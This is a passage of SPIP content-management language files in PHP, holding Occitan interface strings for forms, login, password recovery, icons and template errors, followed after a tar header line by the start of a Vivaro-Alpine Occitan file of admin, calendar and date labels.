'form_indiquer_email' => 'Volgatz indicar vòstra adreiça e-mail.',
'form_indiquer_nom' => 'Volgatz indicar vòstre nom.',
'form_indiquer_nom_site' => 'Volgatz indicar lo nom de vòstre sit.',
'form_pet_deja_enregistre' => 'Ja aquel sit es registrat',
'form_pet_signature_pasprise' => 'Vòstra signatura es pas presa en compte.',
'form_prop_confirmer_envoi' => 'Confirmar lo mandadís',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'Vòstra proposicion es plan registrada, apareisserà en linha tre que los responsables del sit l’auràn validada .',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Volgatz indicar una adreiça e-mail valida',
'form_prop_indiquer_nom_site' => 'Volgatz indicar lo nom del sit.',
'form_prop_indiquer_sujet' => 'Volgatz indicar un subjècte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'Vòstra proposicion es pas estada registrada.',
'form_prop_sujet' => 'Subjècte',
'form_prop_url_site' => 'Adreiça (URL) del sit', # MODIF
'forum_non_inscrit' => 'Siá sètz pas inscrich(a), siá avètz fach una error d’adreiça o de mot de santa Clara. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichièr "backend" dels articles d’aqueste sit se tròba a l’adreiça:',
'ical_texte_rss_articles2' => 'Atanben podètz obténer de fichièrs "backend" pels articles de cada rubrica del sit:',
'ical_texte_rss_breves' => 'Existisson mai d’un fichièr contenent las brèvas del sit. En precisar un numèro de rubrica, obtendretz sonque las brèvas de la rubrica aquela.',
'icone_a_suivre' => 'De seguir',
'icone_admin_site' => 'Administracion del sit',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar vòstre sit',
'icone_creer_nouvel_auteur' => 'Crear un autor nòu',
'icone_creer_rubrique' => 'Crear una rubrica',
'icone_creer_sous_rubrique' => 'Crear una sosrubrica',
'icone_deconnecter' => 'Se desconnectar',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents de las rubricas',
'icone_ecrire_article' => 'Escriure un article nòu',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion de las lengas',
'icone_informations_personnelles' => 'Informacions personalas',
'icone_interface_complet' => 'Interfàcia completa',
'icone_interface_simple' => 'Interfàcia simplificada',
'icone_maintenance_site' => 'Mantenença del sit',
'icone_messagerie_personnelle' => 'Messatjariá personala',
'icone_repartition_debut' => 'Afichar la reparticion dempuèi la començança',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Salvagarda del sit',
'icone_site_entier' => 'Tot lo sit ',
'icone_sites_references' => 'Sits referenciats',
'icone_statistiques' => 'Estadisticas del sit',
'icone_suivi_activite' => 'Seguir la vida del sit',
'icone_suivi_actualite' => 'Evolucion del sit',
'icone_suivi_pettions' => 'Seguir/gerir las peticions',
'icone_suivi_revisions' => 'Modificacions dels articles',
'icone_supprimer_document' => 'Suprimir aquel document',
'icone_supprimer_image' => 'Suprimir aquel imatge',
'icone_tous_articles' => 'Totes vòstres articles ',
'icone_tous_auteur' => 'Totes los autors ',
'icone_visiter_site' => 'Vesitar', # MODIF
'icone_voir_en_ligne' => 'Veire en linha',
'img_indisponible' => 'imatge indisponible',
'impossible' => 'impossible',
'info_a_suivre' => 'DE SEGUIR>>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès refusat',
'info_action' => 'Accion : @action@',
'info_administrer_rubriques' => 'Podètz administrar aquela rubrica e sas sosrubricas',
'info_adresse_non_indiquee' => 'Avètz pas indicat l’adreiça de testar !',
'info_aide' => 'AJUDA :',
'info_ajouter_mot' => 'Apondre aquel mot',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generals:',
'info_article_propose' => 'Article prepausat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article refusat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Los articles de validar',
'info_articles_proposes' => 'Articles prepausats',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brèvas',
'info_connexion_refusee' => 'Connexion refusada',
'info_contact_developpeur' => 'Volgatz contactar un desvolopaire.',
'info_contenance' => 'Aquel sit conten:',
'info_contribution' => 'Contribucions de forum', # MODIF
'info_copyright' => '@spip@ es un logicial liure distribuit @lien_gpl@.',
'info_copyright_doc' => ' Per mai d’informacions, veire lo sit <a href="@spipnet@">http://www.spip.net/oc</a>.', # MODIF
'info_copyright_gpl' => 'jos licéncia GPL',
'info_cours_edition' => 'Vòstres articles en cors de redaccion',
'info_creer_repertoire' => 'Volgatz crear un fichièr o un repertòri nommat',
'info_creer_repertoire_2' => 'dintre lo sosrepertòri <b>@repertoire@</b>, puèi:',
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descriptiu(s) :',
'info_description' => 'Descripcion :',
'info_description_2' => 'Descripcion :',
'info_dimension' => 'Dimensions :',
'info_ecire_message_prive' => 'Escriure un messatge privat',
'info_email_invalide' => 'Adreiça e-mail invalida',
'info_en_cours_validation' => 'Vòstres articles en cors de redaccion',
'info_en_ligne' => 'Ara en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat a aquel autor',
'info_erreur_requete' => 'Error dins la requista',
'info_erreur_squelette2' => 'Ges d’esqueleta <b>@fichier@</b> es pas disponibla...',
'info_erreur_systeme' => 'Error sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Lo disc dur es benlèu plen, o la basa de donadas degalhada.<br />
<span style="color:red;">Assajatz de <a href=\'@script@\'>reparar la basa</a>, o contactatz vòstre albergador.</span>',
'info_fini' => 'Es acabat !',
'info_format_image' => 'Formats d’imatges que se pòdon utilizar per crear de vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Ecran grand',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Metòde de fabricacion de las vinhetas',
'info_impossible_lire_page' => '<b>Error!</b> Impossible de legir la pagina <tt><html>@test_proxy@</html></tt> a travèrs del proxy <tt>',
'info_installation_systeme_publication' => 'Installacion del sistèma de publicacion...',
'info_installer_documents' => 'Podètz installar automaticament totes los documents contenguts dins lo repertòri @upload@.',
'info_installer_ftp' => 'Coma administrator, podètz installar (per FTP) de fichièrs dins lo repertòri @upload@, puèi los seleccionar dirèctament aicí.',
'info_installer_images' => 'Podètz installar d’imatges als formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar d’imatges dins lo reprtòri @upload@ per los poder seleccionar aicí.',
'info_interface_complete' => 'Interfàcia completa',
'info_interface_simple' => 'Interfàcia simplificada',
'info_joindre_document_article' => 'Podètz jónher a aquel article de documents de la mena de',
'info_joindre_document_rubrique' => 'Podètz apondre a aquela rubrica de documents de la mena de',
'info_joindre_documents_article' => 'Podètz jónher a aquel article de documents de la mena de:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga majorala del sit',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixèls',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Los lògos de formats @formats@ son sols autorizats.',
'info_logo_max_poids' => 'Los lògos an de far mens de @maxi@ (aqueste fichièr fa @actuel@).',
'info_mail_fournisseur' => 'vos@fornidor.com',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de mesa en linha:',
'info_modification_parametres_securite' => 'modificacions dels paramètres de seguretat',
'info_mois_courant' => 'Dins lo corrent del mes:',
'info_mot_cle_ajoute' => 'S’es apondut lo mot clau seguent a ',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Las <u>lengas solinhadas</u> benefícian d’una revirada de totes los tèxtes de l’interfàcia. Se seleccionatz aquelas lengas, fòrça elements del sit public (datas, formularis) se reviraràn automaticament. Per las lengas non solinhadas, aqueles elements apareisseràn dins la lenga principala del sit.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'Vòstre nom apareis pas dins la tièra dels utilizaires connectats.',
'info_nom_utilisateurs_connectes' => 'Lo vòstre nom apareis dins la tièra dels utilizaires connectats.',
'info_nombre_en_ligne' => 'Ara en linha:',
'info_non_resultat' => 'Pas cap de resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Utilizatz pas la messatjariá intèrna d’aquel sit.',
'info_nouveau_message' => 'AVÈTZ UN MESSATGE NÒU',
'info_nouveaux_messages' => 'AVÈTZ @total_messages@ MESSATGES NÒUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'MEMENTO',
'info_petit_ecran' => 'Ecran pichòt ',
'info_pixels' => 'pixèls',
'info_plusieurs_mots_trouves' => 'Mai d’un mot clau trobat per "@cherche_mot@" :',
'info_portfolio_automatique' => 'Pòrtfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ primièrs resultats de @total@]',
'info_premier_resultat_sur' => ' [@debut_limit@ primièrs resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Prepausa: @titre@',
'info_propose_2' => 'Article prepausat
---------------',
'info_propose_3' => 'L’article "@titre@" es prepausat a la publicacion.',
'info_propose_4' => 'Vos convidam a lo venir consultar e a donar vòstre vejaire',
'info_propose_5' => 'dins lo forum que li es estacat. Es disponible a l’adreiça:',
'info_publie_01' => 'L’article "@titre@" es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA: @titre@',
'info_publie_2' => 'Article publicat
--------------',
'info_rechercher' => 'Cercar',
'info_rechercher_02' => 'Cercar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinida per un lògo personalizat:',
'info_sans_titre_2' => 'sens títol',
'info_selectionner_fichier' => 'Podètz seleccionar un fichièr del dorsièr @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fichièr:',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbèl <b>blau</b> marca un <b>memento</b>: valent a dire un messatge per vòstre usatge personal.',
'info_symbole_jaune' => 'Lo simbèl <b>jaune</b> marca un <b>anonci per totes los redactors </b>: los administrators lo pòdon modificar, cada redactor lo pòt veire.',
'info_symbole_vert' => 'Lo simbèl <b>verd</b> marca los <b>messatges escambiats amb d’autres utilizaires</b> del sit.',
'info_telecharger_nouveau_logo' => 'Telecargar un lògo nòu:',
'info_telecharger_ordinateur' => 'Telecargar a partir de vòstre ordenador:',
'info_tous_resultats_enregistres' => '[totes los resultats son registrats]',
'info_tout_afficher' => 'O afichar tot',
'info_travaux_texte' => 'Aquel sit es pas encara configurat. Tornatz mai tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròp de resultats per "@cherche_mot@"; volgatz afinar la recèrca.',
'info_utilisation_messagerie_interne' => 'Utilizatz la messatjariá intèrna d’aquel sit.',
'info_valider_lien' => 'validar aquel ligam',
'info_verifier_image' => ', volgatz verificar que los imatges se sián plan transferits.',
'info_vignette_defaut' => 'Vinheta predefinida',
'info_vignette_personnalisee' => 'Vinheta personalizada',
'info_visite' => 'vesita:',
'info_vos_rendez_vous' => 'Los vòstres rendètz-vos venents',
'infos_vos_pense_bete' => 'Vòstres mementos', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afichar sonque las icònas',
'lien_afficher_texte_icones' => 'Afichar las icònas e lo tèxt',
'lien_afficher_texte_seul' => 'Afichar sonque lo tèxt',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar aqueles articles', # MODIF
'lien_nouvea_pense_bete' => 'MEMENTO NÒU',
'lien_nouveau_message' => 'MESSATGE NÒU',
'lien_nouvelle_annonce' => 'ANONCI NOVÈL',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'RAIÇ DEL SIT',
'lien_reessayer' => 'tornar ensajar',
'lien_repondre_message' => 'Respondre a aquel messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'O afichar tot',
'lien_visite_site' => 'vesitar aquel sit',
'lien_visites' => '@visites@ vesitas',
'lien_voir_auteur' => 'Veire aquel autor',
'ligne' => 'Linha',
'login_acces_prive' => 'accès a l’espaci privat',
'login_autre_identifiant' => 'se connectar amb un autre identificant',
'login_cookie_accepte' => 'Volgatz configurar vòstre navigador per que los accèpte (almens per aquel sit).',
'login_cookie_oblige' => 'Per vos identificar d’un biais segur sus aqueste sit, vos cal acceptar los cookies.',
'login_deconnexion_ok' => 'Sètz desconnectat/ada.',
'login_erreur_pass' => 'Error de mot de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant «@login@» es inconegut.',
'login_login' => 'Login :',
'login_login2' => 'Login (identificant de connexion al sit) :', # MODIF
'login_login_pass_incorrect' => '(Login o mot de santa Clara incorrècte.)',
'login_motpasseoublie' => 'mot de santa Clara oblidat ?',
'login_non_securise' => 'Atencion, aquel formulari es pas securizat.
Se volètz pas que vòstre mot de santa Clara siá
interceptat sul ret, volgatz activar Javascript
dins vòstre navigador e',
'login_nouvelle_tentative' => 'novèl ensag',
'login_par_ici' => 'Sètz registrat/ada... per aquí...',
'login_pass2' => 'Mot de santa Clara :',
'login_preferez_refuser' => '<b>Se vos agrada mai de refusar los cookies</b>, un autre metòde de connexion (mens securizat) es a vòstra disposicion:',
'login_recharger' => 'tornar cargar aquela pagina',
'login_rester_identifie' => 'Demorar identificat qualques jorns',
'login_retour_public' => 'Tornar al sit public',
'login_retour_site' => 'Tornar al sit public',
'login_retoursitepublic' => 'tornar al sit public',
'login_sans_cookiie' => 'Identificacion sens cookie',
'login_sinscrire' => 's’inscriure',
'login_test_navigateur' => 'Ensag navigador/tornar connectar',
'login_verifiez_navigateur' => '(ça que la verificatz que vòstre navigador aja pas servat vòstre mot de santa Clara en memòria...)',
// M
'masquer_trad' => 'escondre las reviradas',
'module_fichiers_langues' => 'Fichièrs de lenga',
// N
'navigateur_pas_redirige' => 'Se vòstre navigador es pas redirigit, clicatz aicí per contunhar.',
'numero' => 'Numèro',
// O
'occurence' => 'Ocurréncia',
'onglet_affacer_base' => 'Escafar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut del sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançadas',
'onglet_informations_personnelles' => 'Informacions personalas',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatjariá',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Salvagardar/restaurar la basa',
'onglet_vider_cache' => 'Vojar l’escondedor',
// P
'pass_choix_pass' => 'Volgatz causir vòstre mot de santa Clara novèl:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error :</b> podètz pas pus accedir a aquel sit.',
'pass_erreur_code_inconnu' => '<b>Error :</b> aquel còde correspond pas a cap de vesitaire que pòsca accedir a aquel sit.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreiça <tt>@email_oubli@</tt> es pas registrada sus aquel sit.',
'pass_erreur_non_valide' => '<b>Error:</b> aquel e-mail <tt>@email_oubli@</tt> es pas valid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> pr’amor d’un problèma tecnic, l’e-mail se pòt pas mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat d’aqueste sit es dobèrt als
vesitaires que se son inscriches. Un còp registrat/ada,
poiretz consultar los articles en cors de redaccion,
prepausar d’articles novèls e participar a totes los forums.',
'pass_forum_bla' => 'Avètz demandat d’intervenir dins un forum
reservat als vesitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz çai sota l’adreiça e-mail ont
vos registrèretz lo còp passat.
Recebretz un e-mail que vos bailarà lo biais de
tornar trobar vòstre accès.',
'pass_mail_passcookie' => '(aquò’s un messatge automatic)
Per tornar trobar vòstre accès al sit
@nom_site_spip@ (@adresse_site@)
Volgatz anar a l’adreiça seguenta:
@sendcookie@
Alavetz poiretz intrar un mot de santa Clara novèl
e vos tornar connectar al sit.
',
'pass_mot_oublie' => 'Mot de santa Clara desmembrat',
'pass_nouveau_enregistre' => 'Vòstre mot de santa Clara novèl es estat registrat.',
'pass_nouveau_pass' => 'Mot de santa Clara novèl',
'pass_ok' => 'D’acòrdi',
'pass_oubli_mot' => 'Mot de santa Clara desmembrat',
'pass_quitter_fenetre' => 'Quitar aquesta fenèstra ',
'pass_rappel_login' => 'Remembrança: vòstre identificant (login) es « @login@ ».',
'pass_recevoir_mail' => 'Recebretz un e-mail que vos explicarà cossí tornar trobar vòstre accès al sit.',
'pass_retour_public' => 'Tornar al sit public',
'pass_rien_a_faire_ici' => 'Pas res a faire aicí.',
'pass_vousinscrire' => 'S’inscriure sus aqueste sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualizacion',
'previsualiser' => 'Previsualizar',
// R
'retour' => 'Tornar',
// S
'spip_conforme_dtd' => 'SPIP considèra aquel document coma confòrm a son DOCTYPE :',
'squelette' => 'esqueleta',
'squelette_inclus_ligne' => 'esqueleta inclusa, linha',
'squelette_ligne' => 'esqueleta, linha',
'stats_visites_et_popularite' => '@visites@ vesitas; popularitat: @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vos seretz familharizat/ada amb l’interfàcia, poiretz clicar sus «',
'texte_actualite_site_2' => 'Interfàcia completa',
'texte_actualite_site_3' => '" per dobrir mai de possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualizacion es activada sus aquel sit. S’installatz a partir d’aquel formulari d’imatges al(s) format(s) @gd_formats@, s’acompanharàn d’una vinheta d’una talha maximala de @taille_preview@ pixèls.',
'texte_documents_associes' => 'Los documents seguents s’assòcian a l’article,
mas s’inserisson pas
dirèctament. Segon la compaginacion del sit public,
poiràn aparéisser jos forma de documents jonches.',
'texte_erreur_mise_niveau_base' => 'Error de basa de donadas pendent la mesa a nivèl. L’imatge <b>@fichier@</b> es pas passat (article @id_article@).
Notatz plan aquela referéncia, tornatz ensajar la mesa a
nivèl, e verificatz puèi que los imatges aparescan
encara dins los articles.',
'texte_erreur_visiteur' => 'Avètz assajat d’accedir a l’espaci privat amb un identificant qu’o permet pas.',
'texte_inc_auth_1' => 'Sètz identificat/ada coma
<b>@auth_login@</b>, mas aquel login existís pas o pas mai dins la basa.
Ensajatz de vos', # MODIF
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', aprèp qu’auretz quitat eventualament, puèi
tornat lançar vòstre navigador.',
'texte_inc_config' => 'Las modificacions fachas dins aquestas paginas influéncian bravament lo
foncionament de vòstre sit. Vos aconselham d’i intervenir pas tant que siatz pas
acostumat/ada al foncionament del sistèma SPIP. <br /><br /><b>
En general, se conselha fòrt
de daissar la carga d’aquestas paginas al webmèstre principal de vòstre sit.</b>',
'texte_inc_meta_1' => 'Lo sistèma a rescontrat una error dins l’escritura del fichièr <code>@fichier@</code>.Volgatz, coma administrator/tritz del sit,',
'texte_inc_meta_2' => 'verificar los dreches d’escritura',
'texte_inc_meta_3' => 'dins lo repertòri <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'al bordilhièr',
'texte_statut_propose_evaluation' => 'prepausat per avaloracion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'refusat',
'titre_ajouter_mot_cle' => 'APONDRE UN MOT CLAU:',
'titre_cadre_raccourcis' => 'ACORCHAS:',
'titre_changer_couleur_interface' => 'Cambiar la color de l’interfàcia',
'titre_image_admin_article' => 'Podètz administrar aqueste article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'D’ajuda subre aquel element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor sens accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vesitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MOTS CLAU',
'titre_probleme_technique' => 'Atencion: un problèma tecnic (servidor SQL) empacha d’accedir a aquela part del sit. Mercés de vòstra indulgéncia.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS AQUELA RUBRICA',
'titre_statistiques' => 'Estadisticas del sit',
'titre_titre_document' => 'Títol del document:',
'trad_reference' => '(article de referéncia)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B en aval',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definida', # MODIF
'zbug_champ_hors_boucle' => 'Camp @champ@ fòra bloca',
'zbug_champ_hors_motif' => 'Camp @champ@ en defòra d’una bloca de motiu @motif@', # MODIF
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri inconegut @critere@', # MODIF
'zbug_distant_interdit' => 'extèrne enebit', # MODIF
'zbug_doublon_table_sans_index' => 'doblons sus una taula sens indèx', # MODIF
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla', # MODIF
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barrador manca', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrècta', # MODIF
'zbug_erreur_compilation' => 'Error de compilacion',
'zbug_erreur_execution_page' => 'error d’execucion de la pagina', # MODIF
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica sonque a las blocas (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) dins l’esqueleta',
'zbug_info_erreur_squelette' => 'Error subre lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sens critèri {pagination} o emplegat dins una bocla recursiva', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes', # MODIF
'zbug_profile' => 'Temps de calcul: @time@',
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidor SQL indefinit', # MODIF
'zbug_table_inconnue' => 'Taula SQL « @table@ » inconeguda',
'zxml_connus_attributs' => 'atributs coneguts',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atribut inconegut',
'zxml_inconnu_balise' => 'balisa inconeguda',
'zxml_inconnu_entite' => 'entitat inconeguda',
'zxml_inconnu_id' => 'ID inconegut',
'zxml_mais_de' => 'mas de',
'zxml_non_conforme' => 'es pas confòrm al motiu',
'zxml_non_fils' => 'es pas un filh de',
'zxml_nonvide_balise' => 'balisa non voida',
'zxml_obligatoire_attribut' => 'atribut obligatòri mas absent dins',
'zxml_succession_fils_incorrecte' => 'succession dels filhs incorrècte',
'zxml_survoler' => 'susvolar per veire los corrèctes',
'zxml_valeur_attribut' => 'valor de l’atribut',
'zxml_vide_balise' => 'balise voida',
'zxml_vu' => 'vist aperavant'
);
?>
spip_oc_va.php 0000666 00000076260 15252547432 0007427 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.spip.net/oc',
'0_langue' => 'occitan (vivaroaupenc) [oc_va]',
'0_liste' => 'spip-oc@rezo.net',
'0_mainteneur' => 'Domergue Sumien: lenga.occitana@aprene.org ',
// A
'access_interface_graphique' => 'Tornar a l’interfàcia grafica completa',
'access_mode_texte' => 'Afichar l’interfàcia textuala simplificaa',
'admin_debug' => 'desbugatge',
'admin_modifier_article' => 'Modificar aquel article',
'admin_modifier_auteur' => 'Modificar aquel autor',
'admin_modifier_breve' => 'Modificar aquela brèva',
'admin_modifier_mot' => 'Modificar aqueu mot clau',
'admin_modifier_rubrique' => 'Modificar aquela rubrica',
'admin_recalculer' => 'Tornar calcular la pagina',
'alerte_maj_impossible' => '<b>Alèrta!</b> Es impossible d’actualizar la basa SQL vèrs la version @version@; bensai i a un problèma relatiu au drech de modificar la basa de donaas. Vougatz contactar vòstre auberjaor.',
'analyse_xml' => 'Analisi XML',
'articles_recents' => 'Los articles mai recents',
'avis_archive_incorrect' => 'lo fichier archiu es pas un fichier SPIP',
'avis_archive_invalide' => 'lo fichier archiu es pas valid',
'avis_attention' => 'ATENCION!',
'avis_champ_incorrect_type_objet' => 'Nom de champ incorrècte @name@ per objècte de tipe @type@',
'avis_colonne_inexistante' => 'La colomna @col@ existís pas',
'avis_erreur' => 'Error: veatz çai sos',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problèma de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Chau pas apelar aquela foncion dins aqueu contèxt.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dins la sauvagarda (@type@ @id_objet@)! ',
// B
'barre_a_accent_grave' => 'Inserir una A accent grèu majuscula',
'barre_aide' => 'Utilizar las acorchas tipograficas per enrichir vòstra compaginacion',
'barre_e_accent_aigu' => 'Inserir una E accent agut majuscula',
'barre_eo' => 'Inserir una E dins l’O',
'barre_eo_maj' => 'Inserir una E dins l’O majuscula',
'barre_euro' => 'Inserir lo simbèu de l’èuro: €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Enroar amb de « vergetas »',
'barre_guillemets_simples' => 'Enroar amb de „vergetas“',
'barre_intertitre' => 'Transformar en {{{intertítol}}}',
'barre_italic' => 'Metre en {italics}',
'barre_lien' => 'Transformar en [liam ipertèxt->http://...]',
'barre_lien_input' => 'Vougatz indicar l’adreiça de vòstre liam (poètz indicar una adreiça web sos la forma http://www.lomieusit.com o simplament indicar lo numèro d’un article d’aqueu sit).',
'barre_note' => 'Transformar en [[Nòta de pè]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Chambiar',
'bouton_chercher' => 'Cerchar',
'bouton_choisir' => 'Chausir',
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatjariá intèrna',
'bouton_radio_envoi_annonces' => 'Mandar los anoncis editoriaus',
'bouton_radio_non_envoi_annonces' => 'Pas mandar d’anoncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'Pas mandar la tiera de las novetats',
'bouton_recharger_page' => 'tornar charjar aquela pagina',
'bouton_telecharger' => 'Telecharjar',
'bouton_upload' => 'Telecharjar', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tantòst',
'cal_jour_entier' => 'jorn entier',
'cal_matin' => 'matin',
'cal_par_jour' => 'chalendier per jorn',
'cal_par_mois' => 'chalendier per mes',
'cal_par_semaine' => 'chalendier per setmana',
'confirm_changer_statut' => 'Atencion, avètz demandat de chamjar l’estatut d’aquel element. Desiratz de contunhar? ',
// D
'date_aujourdhui' => 'encuei',
'date_avant_jc' => 'avans lo Crist',
'date_dans' => 'd’aquí @delai@',
'date_de_mois_1' => '@j@ de genier',
'date_de_mois_10' => '@j@ d’octòbre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de febrier',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abriu',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julh',
'date_de_mois_8' => '@j@ d’aost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'oras',
'date_hier' => 'ièr',
'date_il_y_a' => 'fai @delai@',
'date_jnum1' => '1r',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimenge',
'date_jour_2' => 'diluns',
'date_jour_3' => 'dimars',
'date_jour_4' => 'dimècres',
'date_jour_5' => 'dijòus',
'date_jour_6' => 'divendres',
'date_jour_7' => 'dissande',
'date_jours' => 'jorns',
'date_minutes' => 'minutas',
'date_mois' => 'mes(es)',
